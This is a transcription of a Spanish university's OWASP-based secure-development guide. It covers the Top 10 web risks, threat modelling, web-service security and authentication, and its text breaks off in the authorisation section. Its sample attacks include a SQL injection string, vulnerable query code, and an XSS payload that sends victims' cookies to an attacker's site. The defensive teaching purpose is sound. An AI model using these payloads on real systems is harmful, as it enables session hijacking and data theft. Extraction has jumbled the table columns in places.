GUÍA DE SEGURIDAD PARA SISTEMAS DE INFORMACIÓN Basada en OWASP

Transcripción

1 A-RI-P01-G02 Versión : 01 Página 1 de 44 GUÍA DE SEGURIDAD PARA SISTEMAS DE INFORMACIÓN Basada en OWASP 1

2 A-RI-P01-G02 Versión : 01 Página 2 de 44 CONTENIDO INTRODUCCIÓN 4 1. OBJETIVO 4 2. ALCANCE 5 3. OWASP (The Open Web Application Security Project) 5 4. RIESGOS DE SEGURIDAD EN APLICACIONES LOS DIEZ RIESGOS MÁS CRÍTICOS EN LAS APLICACIONES WEB (OWASP TOP ) 5 5. DESARROLLO MODELADO DE RIESGO DE AMENAZA Identificar Objetivos de Seguridad Visión general de la aplicación Descomponer la aplicación Documentar las amenazas conocidas SERVICIOS WEB AUTENTICACIÓN Técnicas de autenticación Web comunes AUTORIZACIÓN MANEJO DE SESIONES VALIDACIÓN DE DATOS INTERPRETE DE INYECCIÓN MANEJO DE ERRORES, AUDITORIA Y GENERACIÓN DE LOGS DESBORDAMIENTO DE MEMORIA CONFIGURACIÓN ATAQUES DE DENEGACIÓN DE SERVICIO PRUEBAS QUÉ ES LA COMPROBACIÓN? CUÁNDO COMPROBAR? TÉCNICAS DE COMPROBACIÓN Inspecciones y Revisiones Manuales Modelado de Amenazas 32 2

3 A-RI-P01-G02 Versión : 01 Página 3 de Revisión de Código Pruebas de Intrusión ENTORNO DE PRUEBAS OWASP Antes de empezar el desarrollo Durante el diseño y definición Durante el desarrollo: Durante la implementación: Mantenimiento y operaciones: REVISIÓN DE CÓDIGO AUTENTICACIÓN AUTORIZACIÓN GESTIÓN DE COOKIES VALIDACIÓN DE ENTRADA DE DATOS GESTIÓN DE ERRORES / FUGA DE INFORMACIÓN LOG / AUDITORÍA CIFRADO DE DATOS ENTORNO DE CÓDIGO SEGURO GESTIÓN DE SESIONES (LOGIN / LOGOUT) 43 REFERENCIAS 44 3

4 A-RI-P01-G02 Versión : 01 Página 4 de 44 FECHA: Septiembre 15 de 2014 CLASIFICACIÓN: Uso Interno ELABORADO POR: Evelin Aidee Barón Huertas REVISADO POR Comité de Calidad Proceso Gestión de Recursos Informáticos. INTRODUCCIÓN Para asegurar que la seguridad de la información sea un componente integral del servicio Desarrollo de aplicaciones, es necesario incluir en el Procedimiento de Incorporación de Sistemas de Información(A-RI-P01), que hacen parte de los procedimientos del Proceso del Gestión de Recursos Informáticos, los cuales integran el sistema de gestión de la seguridad de la información y el Sistema de Gestión de Servicios de la Universidad Pedagógica y Tecnológica de Colombia, contempla la presente guía para tener en cuenta en el procedimiento nombrado y particularmente en el instructivo de desarrollo (A-RI- P01-I01) y la declaración de aplicabilidad Dominio A Requisitos de seguridad de los sistemas de información. El documento está dividido en siete partes fundamentales, en primer lugar se presenta el objetivo general de la presente guía, a continuación el alcance que tiene para su desarrollo. En tercer lugar se hace una pequeña introducción de lo que es OWASP, el proyecto en el cual está basado este documento. La cuarta parte hace referencia a los riesgos más comunes de las aplicaciones, teniendo en cuenta el Top 10 de OWASP. En quinta instancia se presenta de manera resumida la guía para construir aplicaciones y servicios web seguros de OWASP, guía para tener en cuenta en la fase de desarrollo y diseño de aplicaciones. En sexto lugar se presenta brevemente la guía de pruebas OWASP, guía que se recomienda mirar en detalle por el tester a la hora de estar haciendo pruebas sobre una aplicación. Finalmente, y teniendo en cuenta la guía para la revisión de código de OWASP, se presenta de manera general el contenido de dicha guía. 1. OBJETIVO Este documento sirve de apoyo para la construcción de aplicaciones seguras y confiables en el Grupo de Organización y Sistemas, busca delinear que la 4

5 A-RI-P01-G02 Versión : 01 Página 5 de 44 seguridad de la información esté integrada con los sistemas y se diseñe e implemente dentro del ciclo de vida del sistema. 2. ALCANCE Esta guía aplica al procedimiento de Incorporación de Sistemas de Información (A-RI-P01) del proceso de Gestión de Recursos Informáticos (A-RI), y específicamente al Instructivo para el desarrollo (A-RI-P01-I01). Y al dominio A Requisitos de Seguridad de los Sistemas de Información de la Declaración de Aplicabilidad. 3. OWASP (The Open Web Application Security Project) El Proyecto abierto de seguridad de aplicaciones web es una comunidad que busca facultar a las organizaciones a desarrollar, adquirir y mantener aplicaciones web seguras y confiables, brindando una serie de herramientas como libros, foros, guías entre otros, todos estos, gratuitos y abiertos para el interesado. Su único objetivo es asegurar el éxito de un sistema a largo plazo. 4. RIESGOS DE SEGURIDAD EN APLICACIONES. El riesgo es la posibilidad de que una amenaza se produzca, dando lugar a un ataque al sistema Todas las aplicaciones están expuestas a ataques es por esto que el software inseguro se convierte en un reto técnico que busca disminuir los riesgos y crear aplicaciones seguras que sean capaces de controlarlos LOS DIEZ RIESGOS MÁS CRÍTICOS EN LAS APLICACIONES WEB (OWASP TOP ) Los escenarios de amenazas para aplicaciones cambian constantemente, por eso OWASP presenta el top 10, de los riesgos de seguridad que puede sufrir una aplicación. Se presentan a continuación con el fin de que las personas que hacen parte del grupo de desarrollo identifiquen los riesgos más críticos a los que se ven enfrentados los sistemas que se desarrollan y los que están actualmente en producción y se tome conciencia acerca de la seguridad en las aplicaciones. 5

6 A-RI-P01-G02 Versión : 01 Página 6 de 44 Tabla 1. Top 10 OWASP LOS DIEZ RIESGOS MAS CRÍTICOS EN APLICACIONES WEB INYECCIÓN Definición Cómo descubrirlo? Cómo prevenirlo? Las fallas de Inyección, tales como SQL, OS, y LDAP, ocurren cuando datos no confiables son enviados a un intérprete como parte de un comando o consulta. Los datos hostiles del atacante pueden engañar al intérprete en ejecutar comandos no intencionados o acceder a datos no autorizados. Las funciones de autenticación y gestión de sesiones de las aplicaciones, son frecuentemente implementadas incorrectamente, permitiendo a los atacantes comprometer contraseñas, claves, token de sesiones, o explotar otras fallas de implementación para asumir la identidad de otros usuarios. La manera de averiguar si la aplicación es vulnerable a inyecciones es verificar que en todo uso de intérpretes se separa la información no confiable del comando o consulta. Esto se hace verificando el código para ver si la aplicación usa intérpretes de manera segura. Existen herramientas de análisis de código que ayudan a ver como se utilizan los intérpretes y seguir el flujo de datos a través de la aplicación. Los testers pueden validar estos problemas al crear pruebas que confirmen la vulnerabilidad Impacto Para evitar las inyecciones se requiere mantener los datos no confiables separados de los comandos y consultas. Para esto OWASP sugiere tres opciones: - Usar una API segura que evite el uso de intérpretes o provea una interface parametrizada. -Si no está disponible una API parametrizada, debe codificar cuidadosamente los caracteres especiales. -Validar las entradas positivas o de lista blanca, pero no es una defensa integral Ejemplo Una inyección puede causar pérdida o corrupción de datos, perdida Escenario #1: La aplicación usa datos no confiables en la construcción de responsabilidad, o negación de acceso. Algunas veces, una de la siguiente instrucción SQL vulnerable: inyección puede llevar al compromiso total del servidor. String query="select * FROM accounts WHERE custid='"+request.getparameter("id") +"'"; El atacante puede modificar el parámetro id en su Navegador para enviar: 'or '1'='1. Por ejemplo: hvp://example.com/app/accountview?id=' or '1'='1 PÉRDIDA DE AUTENTICACIÓN Y GESTIÓN DE SESIONES Definición Cómo descubrirlo? Cómo prevenirlo? Los activos de gestión de sesiones como credenciales e identificadores de sesión pueden ser vulnerables si: -Las credenciales no están protegidas cuando se almacenan utilizando un hash o cifrado. -Se pueden adivinar o sobrescribir las credenciales a través de funciones débiles de gestión de la sesión. -Los ID de sesión son expuestos en la URL Impacto Este tipo de vulnerabilidades puede permitir que algunas o todas las cuentas sean atacadas. Una vez que el ataque resulte exitoso, el Se debe facilitar a los desarrolladores un único conjunto de controles de autenticación y gestión de sesiones fuerte. Estos controles deberán conseguir: -Cumplir con todos los requisitos de autenticación y control de sesiones. -Tener una interfaz simple para los desarrolladores Ejemplo Aplicación de reserva de vuelos que soporta re escritura de URL poniendo los ID de sesión en la propia dirección:

7 A-RI-P01-G02 Versión : 01 Página 7 de 44 Las fallas XSS ocurren cada vez que una aplicación toma datos no confiables y los envía al navegador web sin una validación y codificación apropiada. XSS permite a los atacantes ejecutar secuencia de comandos en el navegador de la víctima los cuales pueden secuestrar las sesiones de usuario, destruir sitios web, o dirigir al usuario a un sitio malicioso. atacante podrá realizar cualquier acción. Las cuentas privilegiadas hvp://example.com/sale/ son objetivos prioritarios. saleitems;jsessionid=2p0oc2jdpxm0oqsndlpskhcjun2jv? dest=hawaii Un usuario autentificado en el sitio quiere mostrar la oferta a sus amigos. Envía por correo electrónico el enlace anterior, sin ser consciente de que está proporcionando su ID de sesión. Cuando sus amigos utilicen el enlace utilizaran su sesión y su tarjeta de crédito. SECUENCIA DE COMANDOS EN SITIOS CRUZADOS (XSS) Definición Cómo descubrirlo? Cómo prevenirlo? La aplicación es vulnerable a este tipo de riesgo si no se asegura que todas las entradas de datos ingresadas por el usuario son codificadas adecuadamente, o si no se verifica que los datos al momento de ingreso sean seguros antes de ser incluidos en la página de salida. Haciendo uso de herramientas automatizadas Una referencia directa a objetos ocurre cuando un desarrollador Prevenir XSS requiere mantener los datos no confiables separados del contenido activo en el navegador. OWASP recomienda: -Codificar los datos no confiables basados en el contexto HTML donde serán ubicados. -Validación de entradas positiva o de lista blanca, esta validación debe tener en cuenta los caracteres, el formato y reglas de negocio que debe cumplir el dato. -Considerar utilizar políticas de seguridad de contenido (CSP) para defender contra XSS todo el sitio. Impacto Ejemplo El atacante puede ejecutar secuencia de comandos en el navegador La aplicación utiliza datos no confiables en la construcción del siguiente de la víctima para secuestrar las sesiones de usuario, alterar la código HTML sin validarlos o codificarlos: apariencia del sitio web, insertar código hostil, redirigir usuarios, (String) page += "<input name='creditcard' type='text value='"+ secuestrar el navegador de la víctima utilizando malware, etc. request.getparameter("cc") +"'>"; El atacante modifica el parámetro CC en el navegador: '><script>document.locacon= ' bin/cookie.cgi? foo='+document.cookie</script>' Esto causa que el identificador de sesión de la víctima sea enviado al sitio web del atacante, permitiendo al atacante cambiar la sesión del usuario. REFERENCIA DIRECTA INSEGURA A OBJETOS Definición Cómo descubrirlo? Cómo prevenirlo? Verificar que todas las referencias a objetos tienen las protecciones apropiadas. Para conseguirlo OWASP considera: Es necesario seleccionar una forma de proteger los objetos accesibles por cada usuario.

8 A-RI-P01-G02 Versión : 01 Página 8 de 44 expone una referencia a un objeto de implementación interno, tal como un fichero, directorio o base de datos. Los atacantes pueden manipular estas referencias para acceder a datos no autorizados, sin un chequeo de control de acceso u otra protección. -Para referencias directas a recursos restringidos, la aplicación necesitaría verificar si el usuario está autorizado a acceder al recurso en concreto que solicita. -Si la referencia es una referencia indirecta, la correspondencia con la referencia directa debe ser limitada a valores autorizados para el usuario en concreto Impacto -Utilizar referencias indirectas por usuario o sesión. Esto evitaría que los atacantes accedieran directamente a recursos no autorizados. -Comprobar el acceso. Cada uso de una referencia directa a un objeto de una fuente que no es de confianza debe incluir una comprobación de control de acceso para asegurar que el usuario está autorizado a acceder a objetos solicitados. Ejemplo Este riesgo puede comprometer toda la información que pueda ser La aplicación utiliza datos no verificados en una llamada SQL que referida por parámetros. A menos que el espacio de nombres resulte accede a la información sobre la cuenta: escaso, para un atacante resulta sencillo acceder a todos los datos String query ="SELECT * FROM accts WHERE account =?"; disponibles de ese tipo. PreparedStatement pstmt = conneccon.preparestatement(query, ); pstmt.setstring(1, request.getparameter("acct")); ResultSet results =pstmt.executequery(); Si el atacante modifica el parámetro acct en su navegador para enviar cualquier número de cuenta que quiera. Si esta acción no se verifica, el atacante podría acceder a cualquier cuenta de usuario, en vez de a su cuenta de cliente correspondiente. hvp://example.com/app/accountinfo?acct=notmyacct CONFIGURACIÓN DE SEGURIDAD INCORRECTA Definición Cómo descubrirlo? Cómo prevenirlo? Analizar si la aplicación cuenta con el apropiado fortalecimiento en seguridad a través de todas las capas que la componen incluso: -Software actualizados( Servidores, DBMS, aplicaciones, librerías) -Características instaladas o habilitadas innecesariamente -Cuentas por defecto y contraseñas habilitadas sin cambiar -Información y manejo de errores Tener definida e implementada una configuración segura para la aplicación, marcos de trabajo, servidor de aplicaciones, servidor web, base de datos y plataforma, significa que se cuenta con una seguridad buena. Todas esas configuraciones deben estar definidas, implementadas y mantenidas, debido a que por lo general no son seguras por defecto. Esto incluye mantener todo el software actualizado, incluidas las librerías de código Impacto Frecuentemente esta vulnerabilidad da a los atacantes acceso no autorizado a algunas funcionalidades o datos del sistema. Ocasionalmente provocan que el sistema se comprometa totalmente. OWASP recomienda establecer lo siguiente: -Un proceso rápido, fácil y repetible de fortalecimiento, para obtener un entorno apropiadamente asegurado. -Un proceso para mantener y desplegar las nuevas actualizaciones y parches de software para cada entorno. -Una arquitectura fuerte de aplicación. -Considerar ejecutar escaneos y auditorias periódicamente. Ejemplo La consola de administrador del servidor de aplicaciones se instaló automáticamente y no se ha eliminado. Las cuentas por defecto no se han modificado. El atacante descubre las páginas por defecto de administración y se conecta con las contraseñas por defecto.

9 A-RI-P01-G02 Versión : 01 Página 9 de 44 utilizadas por la aplicación. EXPOSICIÓN DE DATOS SENSIBLES Definición Cómo descubrirlo? Cómo prevenirlo? Se debe determinar el conjunto de datos sensibles que requieran protección extra, como contraseñas, información personal etc. Para estos datos OWASP plantea las siguientes preguntas: - Se almacena en texto claro a largo plazo, incluyendo sus respaldos? - Se transmite en texto claro, interna o externamente? - Se utiliza algún algoritmo criptográfico débil/antiguo? - Se utilizan tanto cabezales como directivas de seguridad del navegador cuando son enviados o provistos por el mismo? Se refiere a la protección incorrecta de datos críticos tales como credenciales de autenticación. Muchas aplicaciones no protegen adecuadamente este tipo de datos sensibles. Los atacantes pueden usar dichos datos para llevar a cabo fraudes, robos de identidad u otros delitos. La mayoría de aplicaciones verifican los derechos de acceso a nivel de función antes de hacer visible en la misma interfaz de usuario. Este riesgo corresponde a la falta de controles desde el servidor, permitiendo a un posible atacante acceder a funciones a las que no debería Para los datos sensibles se recomienda como minimo lo siguiente: -Considerar las amenazas de las cuales proteger los datos -No almacenar datos sensibles innecesariamente -Asegurarse de aplicar algoritmos fuertes de cifrado y estándares como claves fuertes -Deshabilitar el autocompletar en los formularios que recolecten datos sensibles Impacto Ejemplo Los fallos frecuentemente comprometen todos los datos que Una aplicación cifra los números de tarjetas de crédito en una base de deberían estar protegidos. Típicamente, esta información incluye datos utilizando cifrado automático de la base de datos. Esto significa datos sensibles. que también se descifra automáticamente cuando se recuperan, permitiendo por medio de una inyección de SQL recuperar números de tarjetas de texto claro. El sistema deberia cifrar dichos números. AUSENCIA DE CONTROL DE ACCESO A FUNCIONES Definición Cómo descubrirlo? Cómo prevenirlo? La manera de descubrir si una aplicación falla en restringir adecuadamente el acceso a nivel de funcionalidades es verificar cada funcionalidad de la aplicación como: - La interfaz de usuario muestra la navegación hacia funcionalidades no autorizadas? - Existe autenticación del lado del servidor, o se han perdido las comprobaciones de autorización? - Los controles del lado del servidor se basan exclusivamente en la información proporcionada por el atacante? Impacto Estas vulnerabilidades permiten el acceso no autorizado de los atacantes a funciones del sistema. Las funciones administrativas son un objetivo clave de este tipo de ataques. Las aplicaciones deberían tener un módulo de autorización consistente y fácil de analizar, invocado desde todas las funciones del negocio -El proceso para gestión de accesos y permisos debería ser actualizable y auditable fácilmente. -La implementación del mecanismo debería negar todo acceso por defecto. -Si la función forma parte de un workflow, verifique y asegúrese que las condiciones de flujo se encuentren en el estado apropiado Ejemplo El atacante forza la navegación hacia las URLs objetivo. La siguiente URL requiere autenticación. Los derechos de administrador también son requeridos para el acceso a la página admin_getappinfo hvp://example.com/app/getappinfo

10 A-RI-P01-G02 Versión : 01 Página 10 de 44 Un ataque CSRF obliga al navegador de una víctima autenticada a enviar una petición HTTP falsificada, incluyendo la sesion del usuario y cualquier otra información incluida automáticamente a una aplicación web vulnerable. Esto le permite a un atacante generar peticiones sobre una aplicación vulnerable sin la autorización apropiada. hvp://example.com/app/admin_getappinfo Si un usuario no autenticado puede acceder a ambas páginas, eso es una vulnerabilidad. Si un usuario autenticado, no administrador puede acceder a admin_getappinfo se considera una vulnerabilidad FALSIFICACIÓN DE PETICIONES EN SITIOS CRUZADOS (CSRF) Definición Cómo descubrirlo? Cómo prevenirlo? Para conocer si una aplicación es vulnerable, verifique la ausencia de un token impredecible en cada enlace y formulario. En dicho caso, un atacante puede falsificar peticiones maliciosas. Se debe centrar en los enlaces y formularios que invoquen funciones que permitan cambios de estados, debido a que estos son los objetivos más importantes del CSRF. También verificar las operaciones de múltiples pasos, porque no son inmunes a este tipo de ataques. Corresponde a la explotación de librerías, frameworks y otros componentes, que funcionan casi siempre con todos los privilegios, por esto son vulnerables por parte de un atacante con el fin de obtener acceso o combinar con otros ataques Impacto Los atacantes pueden cambiar cualquier dato que la víctima este autorizada a cambiar o a cualquier funcionalidad donde este autorizada, incluyendo registro, cambios de estado o cierre de sesión. Por lo general su prevención requiere la inclusión de un token no predecible en cada solicitud HTTP. Estos deben ser únicos por cada sesión de usuarios. La opción que se recomienda es incluir un token único en un campo oculto, pero también puede ser incluido en la propia URL, o parámetro de la misma. Ejemplo La aplicación permite al usuario enviar una petición de cambio de estado no incluya nada secreto. Por ejemplo: hvp://example.com/app/transferfunds? amount=1500&descnaconaccount= De esta forma, el atacante construye una petición que transferirá el Dinero de la cuenta de la víctima hacia su cuenta. USO DE COMPONENTES CON VULNERABILIDADES CONOCIDAS Definición Cómo descubrirlo? Cómo prevenirlo? Para determinar si existe vulnerabilidad se necesita buscar en las bases de datos, así como también mantenerse al tanto de la lista de correos del proyecto y anuncios de cualquier cosa que pueda ser vulnerable, si uno de los componentes tiene vulnerabilidad, se debe evaluar cuidadosamente si es o no vulnerable revisando si su código utiliza la parte del componente vulnerable y si el fallo puede tener un impacto considerable. Impacto El rango completo de debilidades incluye inyección, control de acceso roto, XSS, etc. El impacto puede ser desde mínimo hasta apoderamiento completo del equipo y compromiso de los datos. No usar componentes que no ha codificado. Los proyectos de software deberían tener un proceso para: -Identificar todos los componentes y la versión que se esta utilizando. -Revisar la seguridad del componente en base de datos publicas -Establecer políticas de seguridad que regulen el uso de componentes. -Agregar capas de seguridad alrededor del componente. Ejemplo Los componentes vulnerables pueden causas riesgos inimaginables, desde trivial a malware sofisticado diseñado para un objetivo especifico. Casi siempre los componentes tienen todos los privilegios de la aplicación, por esto cualquier falla en un componente puede dar

11 A-RI-P01-G02 Versión : 01 Página 11 de 44 Frecuentemente las aplicaciones web redirigen y reenvían a los usuarios hacia otras páginas o sitios web utilizando datos no confiables para determinar la página de destino. Es allí donde los atacantes aprovechan para redirigir a las víctimas a sitios de phishing o que contengan malware problemas. REDIRECCIONES Y REENVÍOS NO VALIDADOS Definición Cómo descubrirlo? Cómo prevenirlo? La forma de determinar si una aplicación dispone de redirecciones y re-envíos no validados es: -Revisar el código para detectar el uso de redirecciones y reenvíos. -Recorrer la aplicación para observar si genera cualquier redirección -Se deben analizar todos los parámetros, si el código no se encuentra disponible. -Validar campos, y autorización del usuario Impacto Estas redirecciones pueden intentar instalar código malicioso o engañar a las víctimas para que revelen contraseñas u otra información sensible. El uso de reenvíos inseguros puede permitir evadir el control de acceso. Para hacer un uso seguro de redirecciones y reenvíos OWASP recomienda. -Evitar su uso -No involucrar parámetros manipulables por el usuario para definir el destino Ejemplo La aplicación tiene una página llamada redirect.jsp que recibe un único parámetro llamado url. El atacante compone una URL maliciosa que redirige a los usuarios a una aplicación que realiza phishing e instala código malicioso. hvp://

12 A-RI-P01-G02 Versión : 01 Página 12 de DESARROLLO OWASP proporciona Una guía para construir aplicaciones y servicios web seguros orientada a desarrolladores, la cual ofrece claves de las normas COBIT y parte de la norma ISO 17799, y se presenta de manera breve a continuación MODELADO DE RIESGO DE AMENAZA OWASP propone el método más importante de mitigación en el desarrollo de aplicaciones Web denominado Riesgo de Amenazas. Si se analiza detenidamente y se seleccionan los controles a través del modelado de riesgo de amenazas, el resultado final será una implementación de sistemas que demuestran reducción de los riesgos de negocio, de fraudes y pérdidas y adicionalmente un aumento de la seguridad. Durante el diseño de su aplicación, es esencial que la diseñe utilizando controles evaluados de riesgo de amenaza. OWASP recomienda el modelado de amenaza de Microsoft, el cual propone cinco pasos (Figura 1) en el proceso de modelado que se explican a continuación. Figura 1. Flujo del Modelo de Amenaza Fuente: OWASP, Una Guía para Construir Aplicaciones y Servicios Web Seguros Identificar Objetivos de Seguridad. El líder del proceso en coordinación con el equipo de desarrollo necesita entender los probables objetivos de seguridad. Los objetivos de seguridad en aplicaciones necesitan ser divididos en: 12

13 A-RI-P01-G02 Versión : 01 Página 13 de 44 Identidad Reputación Financiero Privacidad Disponibilidad de garantías Lo anterior da una idea de algunas de las decisiones de riesgo de negocio que lleva a la construcción de controles técnicos. También se puede orientar por: Leyes Regulaciones Estándares (como ISO 17799) Acuerdos Legales Políticas de Seguridad de la información Visión general de la aplicación Después de definir los objetivos, la aplicación deberá ser analizada para determinar: Componentes, flujos de datos, límites de confianza, etc. Para esta actividad se debe basar en la documentación de arquitectura y diseño Descomponer la aplicación Una vez que la arquitectura de la aplicación es entendida, la aplicación necesita ser descompuesta, esto significa que las características y módulos que tienen un impacto de seguridad necesitan ser descompuestas Documentar las amenazas conocidas En esta actividad se debe concentrar en los riesgos que son conocidos, que pueden ser fácilmente demostrados utilizando herramientas o el seguimiento de errores. Cuando documente una amenaza, Microsoft sugiere dos enfoques diferentes. Uno es un gráfico de amenaza y el otro es simplemente una lista estructurada SERVICIOS WEB En esta sección OWASP detalla los problemas comunes que los desarrolladores encaran y los métodos para resolver esos problemas. Los servicios Web se ven como aplicaciones web especializadas que difieren principalmente en la capa de presentación. Mientras que las aplicaciones web son típicamente basadas en HTML, los servicios web son basados en XML. Los servicios Web típicamente representan una interfaz pública funcional, que se llama de forma programática, mientras que las aplicaciones Web tienden a lidiar con un conjunto de características más rico y son dirigidas al contenido en la mayoría de las veces. 13

14 A-RI-P01-G02 Versión : 01 Página 14 de 44 Asegurando los servicios Web: Los servicios Web, como otras aplicaciones distribuidas, requieren protección en múltiples niveles. Estas tareas son a nivel de infraestructura, teóricamente lo debe hacer el administrador del sistema. Seguridad en la comunicación: las fallas más comunes que se pueden presentar cuando se usa un canal seguro son: Solo provee seguridad punto a punto Problemas de almacenamiento Falta de interoperabilidad Pasando las credenciales: Para establecer el intercambio de credenciales y la autenticación en servicios web los desarrolladores deben resolver: Dado que los mensajes de SOAP son basados en XML, todas las credenciales que se pasen deben ser convertidas a formato texto. Pasar las credenciales conlleva un riesgo inherente a su descubrimiento, ya sea por olerlos mientras están siendo transmitidos en la red o al analizar los registros de eventos del servidor Asegurarse de la frecura del mensaje: Las medidas usuales para protegerse contra mensajes re enviados son usar identificadores únicos en los mensajes y llevar registro de los procesados o usar un tiempo de validez relativamente corto Proteger la integridad del mensaje: Cuando un mensaje es recibido por un servicio Web, debe siempre preguntarse 2 cosas: confiar en el emisor, confiar en el mensaje creado. El servidor debe asegurarse que el mensaje que está viendo fue, de hecho, enviado por el emisor y que no fue alterado en el camino Protegiendo la confidencialidad del mensaje: Frecuentemente, no es suficiente con asegurar la integridad, en muchos casos también es deseable que nadie pueda ver los datos que son pasados y/o almacenados localmente. En cualquier caso, algún tipo de cifrado es requerido para encubrir el contenido Control de acceso: Después de que el mensaje ha sido recibido y validado exitosamente, el servidor debe: Saber quién está pidiendo la operación (Identificación) Confía en la identidad que el emisor dice tener (Autentificación) Permitirá al emisor realizar esta operación (Autorización) Auditoria: Una tarea común, típicamente requerida para las auditorias, es reconstruir la cadena de eventos que llevó a un problema en particular. Usualmente, esto se logra al guardar registro de eventos en el servidor en una ubicación segura, disponible solo para los administradores de TI y los auditores de sistema, para crear lo que comúnmente se conoce como un rastro de auditoria. Los servicios web no son excepción a esta práctica. 14

15 A-RI-P01-G02 Versión : 01 Página 15 de AUTENTICACIÓN El objetivo de la autenticación según OWASP es proveer servicios de autenticación segura a las aplicaciones Web, mediante: Vincular una unidad del sistema a un usuario individual mediante el uso de una credencial Proveer controles de autenticación razonables de acuerdo al riesgo de la aplicación. Denegar el acceso a atacantes que usan varios métodos para atacar el sistema de autenticación. OWASP presenta en su guía las mejores prácticas en cuanto a la seguridad en la autenticación: La autenticación es solo tan fuerte como sus procesos de administración de usuarios Use la forma más apropiada de autenticación adecuada para su clasificación de bienes Re-autenticar al usuario para transacciones de alto valor y acceso a áreas protegidas Autenticar la transacción, no el usuario Las contraseñas son trivialmente rotas y no son adecuadas para sistemas de alto valor Técnicas de autenticación Web comunes Autenticación básica y segura (Digest): Casi todos los servidores Web y de aplicación soportan el uso de autenticación básica y digest. Esto requiere que el explorador Web presente un cuadro de diálogo para obtener el nombre de usuario y contraseña, y enviarlos al servidor Web, el cual la procesará contra su propia base de datos de usuario, o en el caso de IIS, con Active Directory. La razón principal en contra del uso de autenticación básica o digest es debido a: Transmisión insegura de credenciales Ambas formas de autenticación sufren de ataques de replay y man-inthe-middle Ambas requieren SSL para proporcionar alguna forma de confidencialidad e integridad No proporciona una gran cantidad de control a la aplicación final. 15

16 A-RI-P01-G02 Versión : 01 Página 16 de 44 Autenticación basada en formas: La autenticación basada en formas provee al diseñador de la aplicación Web el mayor control sobre la interfaz de usuario, y de ahí que es ampliamente usada. La autenticación basada en formas requiere que la aplicación haga una buena cantidad de trabajo para implementar autenticación y autorización. Si es posible, si elige usar autenticación basada en formas, trate de re-usar un componente de control de acceso confiable en lugar de escribir el suyo. La autenticación basada en formas sufre de: Ataques de replay Ataques de man-in-the-middle Credenciales en texto claro Ataques de engaño (luring) Controles de contraseñas débiles Autenticación integrada: La autenticación integrada es más comúnmente vista en aplicaciones de Intranet usando el servidor Web Microsoft IIS y aplicaciones ASP.NET. La mayoría de los demás servidores Web no ofrecen esta alternativa. Si está desarrollando una aplicación para Intranet y su entorno de desarrollo soporta autenticación integrada, debería usarla. Significa menos trabajo para usted para desarrollar controles de autenticación y autorización, una credencial menos para que recuerden los usuarios, y puede re-utilizar infraestructura de autenticación y autorización pre-existente. Autenticación basada en certificado: La autenticación basada en certificado es ampliamente implementada en muchos servidores Web y de aplicación. El sitio Web expide certificados (o intenta confiar en certificados emitidos externamente). Los certificados públicos son cargados en la base de datos de autenticación del servidor, y comparados con las sesiones entrantes del navegador. Si los certificados coinciden, el usuario es autenticado. Hay algunos inconvenientes para el acceso basado en certificado: Muchos usuarios comparten las PC s y necesitan traer sus certificados con ellos. La administración de certificados en un navegador no es trivial en muchos casos La revocación certificados con certificados auto emitidos es casi imposible en ambientes de extranet Confiar en certificados privados de servidores requiere las decisiones de confianza del usuario final. El costo de los certificados y su parte en el modelo de negocio de compañías de certificados públicas no está relacionado con el costo de la prestación. Autenticación fuerte: La autenticación fuerte (como tokens,certificados, etc) proporciona un nivel más alto de seguridad que nombres de usuario y 16

17 A-RI-P01-G02 Versión : 01 Página 17 de 44 contraseñas. La forma generalizada de autenticación fuerte es algo que sabes, algo que tienes. Por lo tanto, cualquier cosa que requiera un secreto (el algo que sabes ) y autenticador como un token, llave USB, o certificado (el algo que tienes ) es un control más fuerte que nombres de usuario y contraseñas (que es solo algo que sabes ) o biométricos ( algo que eres ). El navegador recuerda contraseñas: Los navegadores modernos ofrecen la habilidad de administrar la multitud de credenciales almacenándolas de forma insegura en la computadora. Para evitarlo envíe lo siguiente en cualquier campo de entrada sensitivo, como nombres de usuario, contraseñas, re-validación de contraseñas, tarjetas de crédito y campos CCV, etc: <form AUTOCOMPLETE="off"> - para todos los campos de la forma <input AUTOCOMPLETE="off"> - para solo un campo Esto le indica a la mayoría de los navegadores que no almacenen ese campo en la característica de administración de contraseñas. Elección de nombres de usuario: Si elige un esquena de nombres de usuario que es predecible, es probable que los atacantes puedan realizar una negación de servicio en contra suya. Para protegerse cuando sea posible, permita al usuario a crear su propio nombre de usuario. Los nombres de usuario tienen que ser únicos. Cambio de contraseñas: Cuando el usuario tiene que recordar una parte de la credencial, a veces es necesario cambiarla, por ejemplo si la contraseña es accidentalmente divulgada a un tercero o el usuario siente que es tiempo de cambiar la contraseña. Para protegerse de esta vulnerabilidad debe Asegure que su aplicación tiene una función para cambiar contraseña. La forma debe incluir la contraseña anterior, la contraseña nueva y la confirmación de la nueva contraseña Use AUTOCOMPLETE=off para prevenir que los navegadores guarden la contraseña localmente Si el usuario ingresa incorrectamente la contraseña anterior varias veces, bloquee la cuenta y elimine la sesión Contraseñas cortas: Las contraseñas pueden ser obtenidas por fuerza bruta, rainbow cracked (ataques de diccionario pre-computados), o fallar a simples ataques de diccionario. Desafortunadamente, también son el método principal de ingresar usuarios a aplicaciones con todo tipo de riesgos, para protegerse debe. Asegure que su aplicación no permita contraseñas en blanco Imponga una longitud de contraseña mínima. Aliente a los usuarios a usar frases clave grandes 17

18 A-RI-P01-G02 Versión : 01 Página 18 de 44 Asegure que su aplicación permita frases clave arbitrariamente grandes usando un algoritmo decente de cifrado de una vía, como AES-128 o SHA-256. Cifrado de contraseñas reversible: Las contraseñas son secretas. No hay razón para descifrarlas baja ninguna circunstancia. El equipo de soporta debe ser capaz de establecer nuevas contraseñas (con una pista de auditoría, obviamente), no leer viejas contraseñas. Por lo tanto, no hay razón para almacenar contraseñas en una forma reversible. para protegerse debe comprender la criptografía detrás del cifrado de contraseñas. Restablecimiento automático de contraseñas: Los mecanismos de restablecimiento automático de contraseñas son comunes cuando las organizaciones creen que necesitan evitar altos costos de soporte de la autenticación. Desde la perspectiva de la administración de riesgos la funcionalidad de restablecimiento de contraseñas parece aceptable en muchas circunstancias. Sin embargo, la funcionalidad de restablecimiento de contraseñas equivale a un mecanismo secundario mucho más débil. Para evitar esta vulnerabilidad se debe ser cuidadoso cuando se implemente el restablecimiento automático de contraseñas, enviando al usuario un correo, para que quede rastro de auditoria. Salir: Todas las aplicaciones deben tener un método para salir de la aplicación. Esto es fundamental para aplicaciones que contengan datos privados e importantes AUTORIZACIÓN Los objetivos de la autorización son: Asegurar que únicamente usuarios autorizados puedan realizar acciones permitidas con su correspondiente nivel de privilegio. Controlar el acceso a recursos protegidos mediante decisiones basadas en el rol o el nivel de privilegio. Prevenir ataques de escalada 